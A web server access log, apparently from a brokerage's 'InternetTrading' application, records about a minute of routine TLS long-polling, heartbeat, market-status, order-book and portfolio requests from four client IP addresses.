[09/Jan/2026:15:01:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942342282 HTTP/1.1" -
[09/Jan/2026:15:01:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942343599 HTTP/1.1" -
[09/Jan/2026:15:01:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942347669 HTTP/1.1" -
[09/Jan/2026:15:01:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942353689 HTTP/1.1" -
[09/Jan/2026:15:01:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942347454 HTTP/1.1" -
[09/Jan/2026:15:01:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942348641 HTTP/1.1" -
[09/Jan/2026:15:01:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942352760 HTTP/1.1" -
[09/Jan/2026:15:01:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942358724 HTTP/1.1" -
[09/Jan/2026:15:01:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942352639 HTTP/1.1" -
[09/Jan/2026:15:01:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942353683 HTTP/1.1" -
[09/Jan/2026:15:01:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942357791 HTTP/1.1" -
[09/Jan/2026:15:01:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942363790 HTTP/1.1" -
[09/Jan/2026:15:01:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942357696 HTTP/1.1" -
[09/Jan/2026:15:01:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942358732 HTTP/1.1" -
[09/Jan/2026:15:01:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942362873 HTTP/1.1" -
[09/Jan/2026:15:01:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942368825 HTTP/1.1" -
[09/Jan/2026:15:01:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942362739 HTTP/1.1" -
[09/Jan/2026:15:01:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942363751 HTTP/1.1" -
[09/Jan/2026:15:01:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942367914 HTTP/1.1" -
[09/Jan/2026:15:01:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942373896 HTTP/1.1" -
[09/Jan/2026:15:01:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942367941 HTTP/1.1" -
[09/Jan/2026:15:01:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942368794 HTTP/1.1" -
[09/Jan/2026:15:01:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942372989 HTTP/1.1" -
[09/Jan/2026:15:01:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942378978 HTTP/1.1" -
[09/Jan/2026:15:01:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942373080 HTTP/1.1" -
[09/Jan/2026:15:01:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942373814 HTTP/1.1" -
[09/Jan/2026:15:01:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942378082 HTTP/1.1" -
[09/Jan/2026:15:01:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942384015 HTTP/1.1" -
[09/Jan/2026:15:01:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942378204 HTTP/1.1" -
[09/Jan/2026:15:01:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942378836 HTTP/1.1" -
[09/Jan/2026:15:01:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942383244 HTTP/1.1" -
[09/Jan/2026:15:01:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942389076 HTTP/1.1" -
[09/Jan/2026:15:01:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942383334 HTTP/1.1" -
[09/Jan/2026:15:01:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942383881 HTTP/1.1" -
[09/Jan/2026:15:01:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:01:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:01:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:01:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942388300 HTTP/1.1" -
[09/Jan/2026:15:01:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942394177 HTTP/1.1" -
[09/Jan/2026:15:01:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942388385 HTTP/1.1" -
[09/Jan/2026:15:01:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942388926 HTTP/1.1" -
[09/Jan/2026:15:02:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942393390 HTTP/1.1" -
[09/Jan/2026:15:02:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942399212 HTTP/1.1" -
[09/Jan/2026:15:02:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942393953 HTTP/1.1" -
[09/Jan/2026:15:02:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942393446 HTTP/1.1" -
[09/Jan/2026:15:02:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:02:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:15:02:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:02:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942398437 HTTP/1.1" -
[09/Jan/2026:15:02:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942404288 HTTP/1.1" -
[09/Jan/2026:15:02:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942399008 HTTP/1.1" -
[09/Jan/2026:15:02:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942398572 HTTP/1.1" -
[09/Jan/2026:15:02:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:02:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1864
[09/Jan/2026:15:02:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942403536 HTTP/1.1" -
[09/Jan/2026:15:02:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942409390 HTTP/1.1" -
[09/Jan/2026:15:02:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942404032 HTTP/1.1" -
[09/Jan/2026:15:02:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942403700 HTTP/1.1" -
[09/Jan/2026:15:02:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:02:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942408627 HTTP/1.1" -
[09/Jan/2026:15:02:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942414416 HTTP/1.1" -
[09/Jan/2026:15:02:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942409063 HTTP/1.1" -
[09/Jan/2026:15:02:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942408849 HTTP/1.1" -
[09/Jan/2026:15:02:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
